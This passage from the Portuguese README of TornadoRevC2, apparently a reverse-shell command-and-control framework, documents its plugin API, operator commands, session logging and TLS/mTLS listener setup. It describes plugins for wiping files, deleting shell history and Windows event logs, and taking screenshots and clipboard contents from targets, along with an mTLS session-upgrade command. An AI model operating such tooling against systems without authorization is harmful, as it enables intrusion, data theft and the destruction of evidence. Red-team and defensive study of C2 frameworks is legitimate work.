**Degradação graciosa:** Para enumeração com múltiplas seções, use chaves de dict separadas por seção e capture exceções localmente. Não defina `error` no nível superior a menos que todo o coletor tenha falhado — resultados parciais são preferíveis.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty
Passe um formatador personalizado para run_collector_plugin em vez de format_generic_report:```python
from tornadorevc2.plugins.shared.common import format_section, format_list_section
def format_firewall_report(data: dict) -> str: sections = [] summary = data.get("summary") or {} if summary: sections.append(format_section("Summary", summary)) for key in ("ufw", "iptables", "windows_defender_firewall"): block = data.get(key) if isinstance(block, dict) and block: sections.append(format_section(key.replace("_", " ").title(), block)) if not sections: return "Firewall: no data collected." return "\n\n".join(sections)
Helpers reutilizáveis em `plugins/shared/common.py`:
| Função | Propósito |
|----------|---------|
| `format_generic_report(data, title='Results')` | Renderizador padrão de tabela/seção |
| `format_section(title, fields, width=22)` | Seção de chave-valor |
| `format_list_section(title, items, empty='(none)')` | Lista com marcadores |
| `format_table_section(title, rows, columns)` | Linhas de dict como colunas |
| `format_firewall_report`, `format_memorymap_report`, etc. | Formatadores específicos de plugins |
### Plugins específicos de plataforma
**Somente Windows:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
return run_collector_plugin(
session, "rdp",
None, # no Linux builder
build_command,
format_generic_report,
timeout=35.0,
)
Somente Linux:```python @plugin.command(name="cron", platforms=["linux", "unix"], description="...") def run(session: SessionContext, args): return run_collector_plugin( session, "cron", build_linux_command, None, # no Windows builder format_generic_report, timeout=30.0, )
**Multiplataforma com builders divididos:**
Alguns plugins compartilhados delegam para módulos builder específicos de plataforma (por exemplo, `virtualization` importa de `linux/virtualization.py` e `windows/virtualization.py`). O ponto de entrada `@plugin.command` permanece em `shared/`; os módulos builder sob `linux/` ou `windows/` não contêm decorador e não são registrados como plugins independentes.
### Plugins externos
Plugins externos permitem estender o TornadoRevC2 sem modificar o repositório.
**Configuração:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py
# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins
Fluxo de trabalho:```bash
plugins load myplugin # import and register commands plugins info myplugin # verify name, platforms, description, module path run myplugin 1 # execute against session 1 run myplugin 1 --verbose # extra args passed to handler as args=["--verbose"] plugins reload myplugin # re-import after editing (clears stale registrations) plugins unload myplugin # fully unload external plugin
**Ciclo de vida externo vs integrado:**
| Ação | Plugin integrado | Plugin externo |
|--------|-----------------|-----------------|
| `plugins unload` | Desativado suavemente (o módulo permanece importado) | Totalmente descarregado e não registado |
| `plugins reload` | Reimporta o módulo, limpa registos de comandos obsoletos | Remove de `sys.modules`, reimporta do disco |
| Arranque | Carregado automaticamente | Carregado a pedido |
Os módulos externos são importados como `tornado_ext_plugin_<name>` para evitar colisões de namespace.
### API SessionContext
Cada handler recebe um `SessionContext` que envolve o handler e o socket do cliente:
**Propriedades de metadados:**
| Propriedade | Tipo | Descrição |
|----------|------|-------------|
| `session_id` | `str` | Identificador de sessão atribuído |
| `platform` | `str` | `unix`, `windows` ou `unknown` |
| `is_windows` / `is_unix` | `bool` | Flags de conveniência de plataforma |
| `sysinfo` | `dict` | Informação do host em cache da recolha `sysinfo` |
| `identity` | `dict` | Metadados de identidade/impressão digital da sessão |
| `addr` | `tuple` | Endereço remoto |
| `tls` | `bool` | Indica se a sessão usa TLS |
| `name` | `str` | Nome amigável atribuído pelo operador |
| `fingerprint` | `str` | Impressão digital estável do host |
| `logger` | `SessionLogger` | Escritor de log por sessão (pode ser `None`) |
| `colors` | `dict` | Códigos de cor da consola |
| `socket` | socket | Socket bruto do cliente (uso avançado) |
**Métodos de execução:**
| Método | Descrição |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | Envia comando, aguarda saída, devolve string |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | Transmite saída com deteção de inatividade; útil para comandos de longa duração |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | Executa o comando adequado à plataforma e extrai o payload marcado |
| `get_cwd()` | Devolve o diretório de trabalho remoto |
| `collect_sysinfo(mode='stealth')` | Aciona a recolha de informação do host |
**Métodos de transferência:**
| Método | Descrição |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | Envia ficheiro para o alvo |
| `download(remote_path, local_path, resume=False)` | Descarrega ficheiro do alvo |
| `verify_remote(remote_path)` | Verifica o tamanho e o SHA-256 do ficheiro remoto |
**Registo e saída:**
| Método | Descrição |
|--------|-------------|
| `print(text, color=None)` | Imprime na consola do operador com cor opcional (`red`, `green`, `yellow`, `cyan`) |
| `log_event(message)` | Anexa evento com timestamp a `session.log` |
| `log_command(cmd, output)` | Regista o comando e a saída em `session.log` |
| `log_plugin_result(name, report, detail='')` | Escreve o relatório em `logs/<session>/plugins/<name>_<timestamp>.log` |
### Tratamento de erros e códigos de retorno
| Retorno | Significado | Comportamento do handler |
|--------|---------|------------------|
| `0` | Sucesso | Nenhum aviso apresentado |
| `1` (ou qualquer valor diferente de zero) | Falha | Aviso amarelo: `Plugin 'name' returned code N` |
| Exceção não capturada | Erro | Mensagem de erro vermelha; registada no log da sessão |
**Modos de falha do coletor** (tratados por `run_collector_plugin`):
| Condição | Comportamento |
|-----------|----------|
| Timeout / sem marcadores na saída | Saída 1, registar "no response" |
| Saída não é JSON válido | Saída 1, registar saída bruta (truncada) como detalhe |
| `data["error"]` presente | Saída 1, imprimir erro e traceback |
| Falhas parciais de secção | **Não** deve definir `error` de nível superior; deixar a secção vazia |
**Falhas suaves** (plugins operacionais): Use `reason` ou `ok: false` e trate num formatador personalizado ou handler personalizado em vez de depender da verificação rígida de `error` do runner.
### Boas práticas
1. **Prefira comandos nativos do SO** em vez de ferramentas carregadas—alinha-se com o design leve em dependências do framework.
2. **Não escreva ficheiros no alvo** para enumeração; devolva dados pelo canal shell. Plugins operacionais (wiper, historydel) são exceções com propósito claro.
3. **Degrade graciosamente** — teste cada backend independentemente; secções vazias são melhores que falha total.
4. **Limite o tamanho da saída** — reduza listas para 50–80 itens; trunque strings longas para 200–500 caracteres.
5. **Defina timeouts realistas** — testes rápidos: 15–30s; enumeração abrangente: 45–75s.
6. **Registe consistentemente** — chame `session.log_event()` no início, `session.log_plugin_result()` na conclusão, `session.log_command()` para exportação de transcrição.
7. **Valide argumentos cedo** — devolva 1 com mensagem de utilização antes de enviar qualquer coisa para o alvo.
8. **Teste a partir de ambas as consolas** — handler principal (`run plugin <ID>`) e sessão anexada (`switch` e depois `run plugin`).
9. **Use `plugins reload`** durante o desenvolvimento para captar alterações sem reiniciar o handler.
10. **Limpe marcadores sensíveis** da saída recolhida se o seu plugin ler conteúdo de ficheiros arbitrários.
### Implementações de referência
| Plugin | Ficheiro | Padrão | Notas |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | Coletor multiplataforma | Degradação graciosa multi-backend |
| `ports` | `plugins/shared/ports.py` | Coletor multiplataforma | `ss` / `Get-NetTCPConnection` nativos |
| `history` | `plugins/shared/history.py` | Coletor multiplataforma | Construtores Linux Python + Windows PowerShell |
| `memorymap` | `plugins/shared/memorymap.py` | Handler personalizado | Argumento PID, construtor dinâmico |
| `screenshot` | `plugins/shared/screenshot.py` | Handler personalizado | Base64 em JSON; gravação PNG do lado do operador |
| `clipboard` | `plugins/shared/clipboard.py` | Handler personalizado | Falha suave via campo `reason` |
| `historydel` | `plugins/shared/historydel.py` | Handler personalizado | Destrutivo; limpeza shell pós-coletor |
| `wiper` | `plugins/shared/wiper.py` | Handler personalizado | Destrutivo; validação de argumento de caminho |
| `services` | `plugins/windows/services.py` | Coletor apenas Windows | Ponto de entrada mínimo |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Coletor apenas Windows | Destrutivo; relatório de falha por log |
| `rdp` | `plugins/windows/rdp.py` | Coletor apenas Windows | Enumeração de registo e firewall |
| `virtualization` | `plugins/shared/virtualization.py` | Entrada partilhada + construtores divididos | Importa construtores `linux/` e `windows/` |
| `secrets` | `plugins/linux/secrets.py` | Coletor apenas Linux | Listagem restrita por plataforma |
Para novos plugins de enumeração, comece por `run_collector_plugin` em `plugins/shared/runner.py` e copie o layout de `firewall.py` ou `ports.py`. Para plugins com argumentos ou efeitos secundários, consulte `memorymap.py` ou `wiper.py`.
---
## Registo de Sessão
Cada sessão escreve num diretório isolado sob `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
session.log Operator commands and console output
sysinfo.json Host information snapshot
transfers/ Upload and download event logs
executions/ In-memory payload execution metadata
plugins/ Plugin reports and collector output
quickenum_20260812_054812.log
firewall_20260812_055130.log
screenshot_20260812_055412.png
Os logs do plugin contêm um relatório legível por humanos e, quando aplicável, o payload JSON bruto retornado pelo coletor remoto.
TornadoRevC2/ ├── tornadorevc2.py Entry point ├── tornadorevc2/ │ ├── handler.py Listeners, sessions, operator console │ ├── updater.py Git-based self-update and restart │ ├── sysinfo.py Host information collection │ ├── terminal.py PTY/TTY management │ ├── transfer.py Chunked file transfers │ ├── tunnel.py SOCKS5 pivoting │ ├── remote_exec.py Remote command builders │ ├── win_client.py Windows shell detection and script delivery │ ├── session_registry.py Session persistence and reconnect logic │ ├── session_log.py Per-session directory logging │ ├── export.py HTML transcript export │ ├── payloads.py Built-in payload catalog │ └── plugins/ │ ├── api.py SessionContext and plugin registration │ ├── manager.py Plugin lifecycle and execution │ ├── loader.py Module discovery │ ├── shared/ Cross-platform plugins │ ├── linux/ Linux/Unix-only plugins │ └── windows/ Windows-only plugins ├── plugins/ Optional external plugin directory └── logs/ Session output (created at runtime)
---
## Configuração de TLS e mTLS
O TornadoRevC2 executa três listeners isolados, cada um com sua própria origem de certificado. Tudo em `tls_certs/` e `mtls_certs/` é gerado automaticamente na primeira execução e nunca é sobrescrito.
| Listener | Porta | Autenticação do cliente | Certificados |
|----------|------|-------------|--------------|
| TCP | `4444` | nenhuma | — |
| TLS | `8443` | somente servidor | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | mútua (certificado do cliente obrigatório) | pacote `mtls_certs/` |
### TLS
Gerado automaticamente como um par autoassinado (`CN=localhost`, RSA-2048, 3650 dias).
Para fornecer o seu próprio:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
-c tls_certs/server.pem -k tls_certs/server.key
Se o cliente se conectar usando um endereço IP, o certificado do servidor deve incluir esse IP no seu Subject Alternative Name (SAN). Evite desativar a verificação de hostname, a menos que haja um motivo específico para fazê-lo.
Na primeira execução, uma PKI completa é inicializada em mtls_certs/:
ca.pem / ca.key — CA autoassinada (RSA-4096, CN=TornadoRevC2-mTLS-CA)server-mtls.pem / server-mtls.key — certificado do servidor assinado pela CAclient.pem / client.key — certificado do cliente assinado pela CAca.srl — contador de série do OpenSSL gerado durante a assinatura do certificadoEnvie client.pem + client.key + ca.pem com o cliente autorizado. O cliente deve apresentar seu certificado ao conectar, ou o handshake será rejeitado.
Comece com caminhos explícitos:```bash
python tornadorevc2.py -H 0.0.0.0 -mp 9443
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### Atualizando uma sessão ativa para mTLS
Sessões existentes em TCP simples ou TLS com autenticação de servidor podem ser movidas para o listener mTLS sem reiniciar o handler. O plugin `upgrade_mtls` envia `client.pem`, `client.key` e `ca.pem` para o alvo, inicia um shell em segundo plano que apresenta o certificado do cliente e (por padrão) remove o pacote do disco assim que a nova sessão estiver ativa.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle # leave certs on disk after launch
run upgrade_mtls 1 --no-upload # certificate bundle already uploaded manually
# From inside an attached session (switch 1)
run upgrade_mtls
| Flag | Padrão |
|---|---|
-H / --host | 0.0.0.0 |
-p / --port | 4444 |
-tp / --tls-port | 8443 |
-mp / --mtls-port | 9443 |
-c / --cert, -k / --key | tls_certs/server.{pem,key} |
--mtls-ca-cert / --mtls-ca-key | mtls_certs/ca.{pem,key} |
--mtls-server-cert / --mtls-server-key | mtls_certs/server-mtls.{pem,key} |
--mtls-client-cert / --mtls-client-key | mtls_certs/client.{pem,key} |
Este projeto está licenciado sob a GNU General Public License v3.0.